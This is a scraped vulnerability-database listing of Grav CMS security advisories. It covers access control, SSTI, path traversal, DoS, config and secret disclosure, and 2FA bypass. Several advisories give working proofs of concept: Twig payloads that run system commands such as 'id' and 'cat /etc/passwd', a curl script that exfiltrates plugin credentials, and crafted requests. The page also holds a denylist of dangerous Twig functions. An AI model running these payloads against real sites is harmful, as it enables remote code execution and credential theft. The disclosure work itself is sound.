Where
-Infinity
0
Severity
9.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Due to a broken access control vulnerability in the /admin/pages/{pagename} endpoint, an editor ( user with full permissions to pages ) can change the functionality of a form after submission.

Details Due to improper authorization checks when modifying critical fields on a POST request to /admin/pages/{pagename}, an editor with only permissions to change basic content on the form is now able to change the functioning of the form through modifying the content of the data[json][header][form] which is the YAML frontmatter which includes the process section which dictates what happens after a user submits the form which include some important actions that could lead to further vulnerabilities.

PoC

- Have Admin and Form plugins installed - Connect to panel as admin, create user and give him permission for pages all - Now connect as that user and notice you cant edit any process field in the panel - Change anything in the content of the form and save - Intercept the request: !image

- Now modify the field data[json][header][form] with the following payload URL-encoded not like this: {"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[{"message":"{{ evaluatetwig(form.value('name')) }}"}]}

- Change the field and forward it: !image

Request goes through and changes have been made to the form. !image

Impact

- Attacker can modify submission logic of the form which leads to changing redirect value, email sending, changing template, breaking out of the Twig sandbox potentially executing code...

Fix recommendation

- Implement proper authorization checks to such requests especially when it contains fields user shouldn't be able to modify based on his role.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to calluserfuncarray() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.

First published (updated )
Severity
9.3
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the errorlog function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

First published (updated )
Severity
9.1
CSRF
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.

First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.

Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true

Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)

Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"

Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.

Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.

- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.

- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.

Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.

Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:

php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );

/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);

$form->message = $processedstring; break;

Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:

- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.

php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }

PoC

First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

We can run the program with this payload:

bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"

Our payload goes through and not one malicious function is filtered:

evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')

Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:

- Go to pages - Add a page and create a new form or choose an exiting one

We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:

{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}

URL-encode it before sending it should look something like this:

!image

!image

Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:

!image

Content of form:

title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'

Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:

{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}

Now we can visit the page and input our payload, submit and we got command result:

!image

Impact

Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.

Recommended Fix

- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An unauthenticated visitor exhausts server memory and CPU by requesting an image with oversized resize dimensions. One request drives a worker to several gigabytes of RAM and tens of seconds of CPU. A few concurrent requests take the host down.

Details Grav::fallbackUrl() (system/src/Grav/Common/Grav.php:800-804) loops over every query parameter and, when the name matches ImageMedium::$magicactions, calls that method on the medium with the comma-split value as arguments:

php foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { calluserfuncarray([&$medium, $action], explode(',', $params)); } }

forceResize runs with force=true, so it sets the output size to the attacker's values with no clamp against the source or any ceiling. The getgrav/image GD adapter then calls imagecreatetruecolor($w, $h). libgd allocates that buffer outside PHP's emalloc, so memorylimit does not cap it. Grav exposes no system.images.maxwidth/maxheight setting.

PoC Any page that serves an image works. With a 200x150 source image:

GET /home/test.png?forceResize=20000,20000

Measured on PHP 8.4.21 with memorylimit=128M:

- peak worker RSS 3,109 MB - 21.9 s CPU - HTTP 200, 1.6 MB response

8000x8000 already needs ~244 MB. The cache key includes the dimensions, so varying them forces fresh work on every request.

Impact Unauthenticated denial of service against any Grav site that serves images. No account, plugin, or non-default config required.

Fix Clamp the request-derived dimensions before dispatch, behind a configurable cap. The image library is the wrong layer; bound the arguments at the request boundary.

diff --- a/system/src/Grav/Common/Grav.php +++ b/system/src/Grav/Common/Grav.php @@ public function fallbackUrl($path) foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { - calluserfuncarray([&$medium, $action], explode(',', $params)); + $args = explode(',', $params); + $max = (int) $config->get('system.images.maxdimension', 8000); + if ($max > 0 + && inarray($action, ['resize', 'forceResize', 'cropResize', 'cropZoom', 'zoomCrop', 'crop'], true)) { + foreach ($args as $a) { + if (isnumeric($a) && (int) $a > $max) { + return false; // reject oversized derivative request + } + } + } + calluserfuncarray([&$medium, $action], $args); } }

Document system.images.maxdimension (default 8000) so operators can tune it. A total-pixel ceiling (width height) is a stricter alternative.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav before 2.0.4 ships a default .htaccess (and reference webserver-configs/htaccess.txt) whose rules blocking access to sensitive file types (.yaml, .php, .json, etc.) lack the [NC] flag, making extension matching case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Docker volume mounts), an unauthenticated attacker can request these files with uppercase or mixed-case extensions (e.g., .YAML, .PHP) to bypass the restrictions and read sensitive configuration files that may contain API keys and credentials.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The getgrav/grav-plugin-api plugin before 1.0.13 fails to validate that the scopes of a newly created API key are a subset of the caller's scopes in createApiKey. The self-target path of requireApiKeyPermission() requires only the baseline api.access scope, and the new key's scopes are read directly from the request body with no subset check. An attacker holding a minimal-scope API key on a super account can submit an empty scopes array to mint an unscoped, full-access super key, bypassing scope restrictions (and enabling further chains such as configuration write to RCE).

First published (updated )
Severity
8.7
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to calluserfuncarray() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav before 3.9.2 fails to validate untrusted Host headers in the sendInvitationEmail() function when constructing token-bearing invitation links. Attackers can manipulate the Host header to poison invitation links and redirect users to attacker-controlled domains, bypassing the requiretrustedhost protection which only covers password reset flows.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The getgrav/grav-plugin-login Composer plugin before 3.9.1 (used by Grav) compares password reset and account activation tokens using a non-constant-time === string comparison instead of hashequals() in classes/Controller.php (taskReset()) and login.php (activation handler). Because the token-submission endpoint (taskReset) also lacks rate limiting, an attacker could in principle send repeated token guesses against a known username and use the timing differences to attempt to recover a valid token, though the vendor rates the practical exploitability as low and no end-to-end network exploit has been demonstrated.

First published (updated )
Severity
8.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Summary

- A low privilege user account with page editing privilege can read any server files using "Frontmatter" form. - This includes Grav user account files - /grav/user/accounts/.yaml. This file stores hashed user password, 2FA secret, and the password reset token. - This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.

Details The vulnerability can be found in /user/plugins/form/templates/forms/fields/display/display.html.twig !image

PoC 1. This PoC was conducted on Grav CMS version 1.7.46 and Admin Plugin version 1.10.46 !image

2. go to “http://grav.local/admin/pages” then create new page with “Page Template” option set to “Form”. !image

3. Then go to “Expert” and on Frontmatter input box used to following form template.

!image

4. Save page and go the preview or published page you will see the content of “/etc/passwd” file on the server. !image

Impact This can allow a low privileged user to perform a full account takeover of other registered users including Administrators. This can also allow an adversary to read any file on the web server. And Due to insufficient permission verification , user who can write a page also can use frontmatter feature using this IDOR vulnerability PoC IDOR mention in CVE-2024-2792

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Grav before 2.0.15 contains a path traversal vulnerability in the static asset server within index.php that uses string prefix matching instead of directory-boundary validation. Unauthenticated attackers can access files in sibling directories by exploiting directory names that extend the base path string, such as requesting assets-secret when assets is the configured base.

First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The default .htaccess shipped with Grav (and the reference webserver-configs/htaccess.txt) contains security rules that block direct HTTP access to sensitive file types (.yaml, .yml, .php, .json, .twig, etc.) under user/ and system/vendor/ directories. However, these rules lack the [NC] (No Case) flag, making them case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Linux with Docker volumes mounted from Windows/macOS), an attacker can bypass these rules by requesting files with uppercase extensions (e.g., .YAML, .PHP, .JSON).

Affected Versions

- Grav 2.0.1 (latest stable as of June 2026) — confirmed - Grav 1.7.x — likely affected (same .htaccess rules) - All versions shipping the current webserver-configs/htaccess.txt

Affected Component

File: .htaccess (root of Grav installation) Reference: webserver-configs/htaccess.txt

Affected Rules (lines 68, 70, 72)

apache Line 68 — system/vendor file types RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]

Line 70 — user file types RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]

Line 72 — .md files globally RewriteRule \.md$ error [F]

All three rules use [F] without [NC], making the extension match case-sensitive.

Steps to Reproduce

1. Install Grav on a system with a case-insensitive filesystem: - Windows (native WAMP/XAMPP) - macOS (default HFS+) - Docker on Windows/macOS with volume mounts (e.g., ./data:/var/www/html)

2. Create or use any plugin that stores sensitive data in its YAML config (e.g., API keys): user/plugins/my-plugin/my-plugin.yaml

3. Request the file with a case-varied extension: GET /user/plugins/my-plugin/my-plugin.YAML HTTP/1.1

4. Expected: HTTP 403 Forbidden 5. Actual: HTTP 200 OK — full file contents returned, including any API keys or sensitive configuration

Impact

- Information disclosure: Plugin configuration files (.yaml) containing API keys, credentials, or sensitive settings can be read by unauthenticated users - Source code exposure: PHP source files can be downloaded (instead of executed) when requested with .PHP extension on some configurations - Configuration exposure: user/config/system.yaml, user/config/site.yaml, and other system configuration files are accessible

Fix

Add the [NC] flag to the three affected rules:

apache RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule \.md$ error [F,NC]

The [NC] flag makes the extension matching case-insensitive, covering .YAML, .Yaml, .PHP, .Json, etc.

Mitigating Factors

- On native Linux with ext4 filesystem (case-sensitive), the attack does not work because Apache cannot resolve the uppercase filename to the actual file - Grav 2.0's Twig sandbox blocks access to plugins config subtree from page content, preventing SSTI-based config exfiltration - The user/accounts/, user/config/, and user/data/ folders have separate rules (line 62, 66) that block ALL file types regardless of extension — these are not affected

Environment

- Grav: 2.0.1 - PHP: 8.3 - Apache: 2.4 with modrewrite - OS: Docker (php:8.3-apache) with volume mounted from Windows 10 (NTFS) - Tested: June 2026

Reporter

Sisnetic

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details.

PoC Create a simple form with two fields, 'registration-number' and 'hp'. Add a submit button and set the method to POST(screenshot attached below). Form name set to 'hero-form'. Send a POST request with the following payload and you will notice a response with a php array listing the whole Grav configuration details - including plugins(screenshot attached).

registration-number:d643aaaa

hp:vJyifp

form-name:hero-form

uniqueformid:{{vardump(context|slice(0,7))}}

!Screenshot 2025-03-25 at 7 26 02 AM

!Screenshot 2025-03-25 at 7 22 58 AM

Impact Server-Side Template (SST) vulnerability. The vulnerability affects the latest Grav version as of 25th of Match 2025 (1.7.48) with all plugins installed (including forms plugin v.7.4.2) to their latest versions as well.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Infoleak
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

php $twigvars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|jsonencode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.

PoC

bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')

Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null

Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null

Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
Infoleak
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L

Exposure of Password Hashes Leading to privilege escalation Severity Rating: Medium

Vector: Privilege Escalation

CVE: XXX

CWE: 200 - Exposure of Sensitive Information

CVSS Score: 6.2

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L

Analysis

It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.

An attacker with read access can: View and potentially crack the password hashes. Gain administrative access by cracking the admin password hash. Escalate privileges and compromise the entire admin panel.

Proof of Concept

1) Give read access to user accounts to a random user as shown in the following figures: !grav0 !grav2

2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.

3) Go to the admin profile http://127.0.0.1/admin/accounts/users/admin; The password is not display. Try inspecting the page source code as shown in the following figures: !grav2-1 You can see that it match the hash that is in the admin.yaml file : !Compare to the hash in database of the admin

4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt: !grav3

Workarounds No workaround is currently known

Timeline 2024-07-24 Issue identified

2024-09-27 Vendor contacted

About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.

Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Grav before 9.1.8 contains an arbitrary file write vulnerability in the Form plugin's process.save.filename parameter, which is validated against path traversal before Twig processing but never re-validated after rendering. Attackers can submit form data containing path traversal sequences that are processed through Twig templates, allowing them to write arbitrary files including PHP webshells to the web root or other sensitive directories.

First published (updated )
Severity
7.1
XEE
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Grav before 2.0.0-beta.2 contains an XML external entity injection vulnerability in SVG file upload processing that allows authenticated attackers to read arbitrary files. The application uses simplexmlloadstring without disabling external entity loading, enabling attackers to inject XXE payloads via malicious SVG files to exfiltrate sensitive data.

First published (updated )
Severity
7.1
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Grav before 2.0.2 contains a Twig sandbox bypass that allows a page author (any admin.pages user, or anyone able to write to user/pages) to exfiltrate configuration secrets. Although the sandbox replaces the 'config' variable with a redacted facade and strips Config::get/toArray from the method allowlist, the raw container remains accessible via the allow-listed grav.offsetGet('config'), which returns the real Config object. Allow-listed object-dumping filters (jsonencode, printr, yamlencode) then serialize that object at the PHP level without invoking the sandbox method gate, exposing the full config tree including plugin secrets such as SMTP credentials, API keys, and plugin DB credentials. This is an incomplete fix for GHSA-j274-39qw-32c9.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Grav before 2.0.1 contains a decompression bomb vulnerability in ZipArchiver::extract() that lacks limits on uncompressed size, file count, and nesting depth. Attackers can supply a crafted ZIP archive that expands to fill available disk space, causing denial of service by exhausting storage resources.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header (ZipArchive::statIndex()['size']) and rejects archives exceeding system.gpm.archive.maxuncompressedsize before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.

First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile() that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the filename while preserving unvalidated directory paths containing ../ sequences that are passed to unlink(), enabling deletion of files outside the intended media storage directory.

First published (updated )
Severity
6.9
XSS, Input Validation, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Endpoint: admin/config/system Submenu: Languages Parameter: Supported Application: Grav v 1.7.48

---

Summary

A Denial of Service (DoS) vulnerability was identified in the "Languages" submenu of the Grav admin configuration panel (/admin/config/system). Specifically, the Supported parameter fails to properly validate user input. If a malformed value is inserted—such as a single forward slash (/) or an XSS test string—it causes a fatal regular expression parsing error on the server.

This leads to application-wide failure due to the use of the pregmatch() function with an improperly constructed regular expression, resulting in the following error:

pregmatch(): Unknown modifier 'o' File: /system/src/Grav/Common/Language/Language.php line 244

Once triggered, the site becomes completely unavailable to all users.

---

Details

- Vulnerable Endpoint: POST /admin/config/system - Submenu: Languages - Parameter: Supported

The application dynamically constructs a regular expression using the contents of the Supported field without escaping the input using pregquote() or proper validation. This allows attackers to inject invalid syntax into the regex engine, crashing the application during language resolution.

Stack trace excerpt:

Whoops \ Exception \ ErrorException (EWARNING) pregmatch(): Unknown modifier 'o' /system/src/Grav/Common/Language/Language.php244

---

Proof of Concept (PoC)

Payloads:

/

Steps to Reproduce:

1. Log into the Grav Admin Panel. 2. Navigate to: Configuration → System → Languages. 3. Locate the Supported field. 4. Insert one of the payloads above (e.g., a single slash /). 5. Click Save.

<img width="1897" height="639" alt="Pasted image 20250719183223" src="https://github.com/user-attachments/assets/d3a54a20-d30d-46c6-9015-722f80701cfb" />

1. Observe: All pages in the application begin throwing a fatal error and become inaccessible.

<img width="1802" height="998" alt="Pasted image 20250719175229" src="https://github.com/user-attachments/assets/b16750c2-507f-4c30-a9bb-d07fa92bb777" />

---

Impact

